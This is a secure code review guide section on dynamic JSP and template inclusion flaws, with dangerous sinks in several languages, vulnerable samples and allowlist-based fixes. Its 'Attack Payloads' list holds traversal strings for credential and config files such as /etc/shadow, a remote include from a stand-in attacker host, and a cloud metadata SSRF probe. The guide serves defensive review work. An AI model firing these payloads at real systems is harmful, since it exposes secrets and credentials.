4.7 Review Dynamic JSP Inclusion
4.7 - Review Dynamic JSP Inclusion
Dynamic JSP inclusion appears when request parameters or model values select which page, fragment, or template is included at runtime. Start from <jsp:include>, <c:import>, Spring view names, and server-side forward targets. Trace the include path from user input to file resolution.
What This Vulnerability Is
Dynamic JSP inclusion is a server-side path selection flaw. The application uses attacker-controlled strings to choose which JSP, servlet, or template fragment to render. Without strict allowlisting, the attacker may include arbitrary files within the web root or traverse directories with ../ sequences.
The unsafe assumption is that users only request legitimate page names. Attacker input can load admin fragments, configuration files exposed under the web root, or sensitive JSP backup files. This maps to CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and CWE-829 (Inclusion of Functionality from Untrusted Control Sphere).
Vulnerability Characteristics (Where to Identify Them)
| Signal | Where to look |
|---|---|
| Feature type | Widget loaders, theme switches, AJAX partials, mobile layout pickers, dashboard tabs |
| Input entry | Query parameters, JSON fields, cookies, user preference settings |
| Include directives | <jsp:include page="...">, <c:import url="...">, ${param.page} in JSP paths |
| MVC view resolution | return userInput, ModelAndView(viewName), dynamic Thymeleaf fragment paths |
| Weak controls | Prefix-only checks, string concat "pages/" + name + ".jsp", no canonicalization |
| Cross-framework equivalents | Flask render_template(user_path), Go template.ParseFiles(name), Razor partial paths |
Attack Payloads
Use these in authorized tests when a parameter selects which page or fragment is included. Replace PARAM with the vulnerable query or form field name.
Pattern 1: Directory traversal via include path
TAB=../../../WEB-INF/spring-security.xml
TAB=....//....//etc/passwd
TAB=..%2f..%2f..%2fWEB-INF%2fbeans.xml
Pattern 2: Absolute path under web root
TAB=/admin/reports.jsp
TAB=/WEB-INF/applicationContext.xml
TAB=/META-INF/context.xml
Pattern 3: Alternate extension and backup files
TAB=sidebar.jsp.bak
TAB=datasource.properties
TAB=../../application-prod.yml
Pattern 4: Null byte and encoding tricks (legacy parsers)
TAB=chart.jsp%00
TAB=..%252f..%252fadmin%252fusers
TAB=..%c0%af..%c0%afetc/passwd
Pattern 5: Remote / SSRF-style include (when url= is supported)
TAB=https://attacker.example/malicious.jsp
url=file:///etc/shadow
url=http://169.254.169.254/latest/meta-data/
Pattern 6: Framework view-name injection
TAB=redirect:/admin/billing
TAB=..\\..\\windows\\system32\\drivers\\etc\\hosts
view=reports/../secrets
Language-Specific Sinks and Dangerous APIs
Search for include directives and dynamic view resolution. Any path built from request parameters without an allowlist is a review priority.
Java (JSP / JSTL)
<jsp:include page="${param.page}"/>
<c:import url="${param.fragment}"/>
<%@ include file="<%= request.getParameter("tpl") %>" %>
RequestDispatcher rd = req.getRequestDispatcher(userPage); rd.include(req, resp);
Java (Spring MVC)
return userViewName; // from request parameter
ModelAndView mv = new ModelAndView(request.getParameter("view"));
return "redirect:" + userPath;
Python (Flask / Jinja2)
return render_template(f"partials/{fragment}.html")
return render_template(request.args.get("page"))
app.jinja_env.get_template(user_path).render()
C# (ASP.NET / Razor)
return PartialView(userSelectedPartial);
@Html.Partial(Model.FragmentName)
@await Html.PartialAsync(Request.Query["view"])
JavaScript (server-side rendering)
res.render(req.query.template, data);
ejs.renderFile(`views/${req.params.page}.ejs`, data);
Go
tmpl := template.Must(template.ParseFiles("templates/" + r.URL.Query().Get("page")))
http.ServeFile(w, r, filepath.Join("views", userFragment))
Sample Vulnerable Code in Python
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/dashboard/panel")
def dashboard_panel():
# Attacker-controlled tab name — may contain ../ sequences
tab = request.args.get("tab", "overview")
# Sink: user input selects template file path
return render_template(f"dashboard/{tab}.html")
Step-by-Step Review Walkthrough
- Search for param-driven includes. Find
<jsp:include page="${param.page}"/>, dynamic view names, andrender_templatewith user path segments. - Trace the Python (or equivalent) input path. In the sample,
tabflows into an f-string template path. Ask whether../admin/settingsresolves outsidedashboard/. - Review MVC controllers. Flag
return "widgets/" + viewand similar patterns where the return value is a view name from the client. - Check path concatenation.
"pages/" + name + ".jsp",forward("/views/" + page), and OS-specific separators need normalization before comparison. - Verify allowlisting. Map known keys to fixed paths. Reject unknown keys with 400 instead of probing the filesystem.
- Inspect partial endpoints. AJAX widget loaders must enforce the same auth checks as full page routes.
- Confirm encoding variants are rejected. URL-encoded
.., double encoding, and absolute paths should fail before file resolution.
Risk Impact Analysis
Local file inclusion. Attackers load unintended JSP, HTML, or static files exposed under the web root, including admin fragments and backup files.
Information disclosure. Included files may reveal source, configuration, or internal application structure.
Authorization bypass. Sensitive partials intended for authenticated roles may load when include paths skip access checks applied to full routes.
Chained exploitation. Included content may combine with XSS or SSTI when attacker-chosen templates contain executable markup.
Vulnerable Examples in Other Languages
Java
<%@ page contentType="text/html;charset=UTF-8" %>
<jsp:include page="dashboard/${param.tab}.jsp"/>
@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
model.addAttribute("metrics", loadMetrics());
return "dashboard/" + tab; // user supplies ../admin/billing
}
C
public IActionResult LoadDashboardTab(string tab)
{
return PartialView($"~/Views/Dashboard/{tab}.cshtml");
}
public IActionResult Analytics(string chart)
{
return View($"Analytics/{chart}"); // chart = "../../Web.config"
}
HTML
<%-- Dynamic include driven by request parameter --%>
<%@ include file="<%= request.getParameter("page") %>" %>
<%-- JSP include with user-controlled path segment --%>
<jsp:include page="/partials/${param.partial}.jsp"/>
<!-- SSI-style server include (when enabled) -->
<!--#include virtual="/partials/" + param('page') + ".html" -->
Fix: Safer Patterns and Libraries to Use
Python
Map known keys to fixed template paths. Never pass raw user path segments to render_template.
DASHBOARD_TABS = {
"overview": "dashboard/overview.html",
"billing": "dashboard/billing.html",
"usage": "dashboard/usage.html",
}
@app.route("/dashboard/panel")
def dashboard_panel():
key = request.args.get("tab", "overview")
template_name = DASHBOARD_TABS.get(key)
if template_name is None:
return "Unknown tab", 400
return render_template(template_name)
from werkzeug.security import safe_join
@app.route("/asset")
def asset():
name = request.args.get("file", "")
path = safe_join("/var/www/static/partials", name)
if path is None:
return "Invalid path", 400
return send_from_directory("/var/www/static/partials", os.path.basename(path))
Important: safe_join rejects paths that escape the base directory. Combine with allowlists for defense in depth.
Java
Map known keys to fixed JSP paths. Never return raw user strings as view names.
private static final Map<String, String> DASHBOARD_TABS = Map.of(
"overview", "dashboard/overview",
"billing", "dashboard/billing",
"usage", "dashboard/usage"
);
@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
String viewName = DASHBOARD_TABS.get(tab);
if (viewName == null) {
throw new ResponseStatusException(HttpStatus.BAD_REQUEST);
}
model.addAttribute("metrics", loadMetrics());
return viewName;
}
Path base = Path.of("/app/views").toAbsolutePath().normalize();
Path resolved = base.resolve(name).normalize();
if (!resolved.startsWith(base)) {
throw new SecurityException("path traversal");
}
Important: Spring InternalResourceViewResolver must receive enum or constant view names only, not request parameters.
C
Use enum-driven partials instead of string view names from the client.
public enum DashboardTab { Overview, Billing, Usage }
public IActionResult LoadTab(DashboardTab tab)
{
var viewName = tab switch
{
DashboardTab.Overview => "_Overview",
DashboardTab.Billing => "_Billing",
DashboardTab.Usage => "_Usage",
_ => throw new ArgumentOutOfRangeException(nameof(tab))
};
return PartialView(viewName);
}
var fullPath = Path.GetFullPath(Path.Combine(_viewsRoot, name));
if (!fullPath.StartsWith(_viewsRoot, StringComparison.Ordinal))
return BadRequest();
Important: Precompiled Razor views must not compile arbitrary .cshtml paths from user input at runtime.
Go
Parse templates at startup from a fixed set. Allowlist lookup for runtime selection.
//go:embed templates/dashboard/*
var dashboardFS embed.FS
var dashboardTemplates = template.Must(
template.ParseFS(dashboardFS, "templates/dashboard/*.html"))
var dashboardTabs = map[string]string{
"overview": "overview.html",
"billing": "billing.html",
"usage": "usage.html",
}
func renderDashboardTab(w http.ResponseWriter, r *http.Request) {
key := r.URL.Query().Get("tab")
file, ok := dashboardTabs[key]
if !ok {
http.Error(w, "unknown tab", http.StatusBadRequest)
return
}
dashboardTemplates.ExecuteTemplate(w, file, nil)
}
Important: Avoid http.ServeFile and ParseFiles with user-influenced paths per request.
Verify During Review
- Include and view-resolution paths use allowlists or enums, not raw request parameters.
- Path normalization confirms resolved files stay within the intended templates directory.
../, absolute paths, URL-encoded separators, and double-encoding are rejected.- Partial and widget endpoints enforce authentication and authorization like full pages.
- No JSP under the web root exposes sensitive includes reachable through parameter tampering.
- Static and admin JSP files are not addressable through dynamic include parameters.
Reference
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- Flask render_template
- Werkzeug safe_join
- Spring MVC — View resolution
- Jakarta Server Pages — jsp:include
- ASP.NET Core partial views
- Go embed package
- Go html/template — ParseFS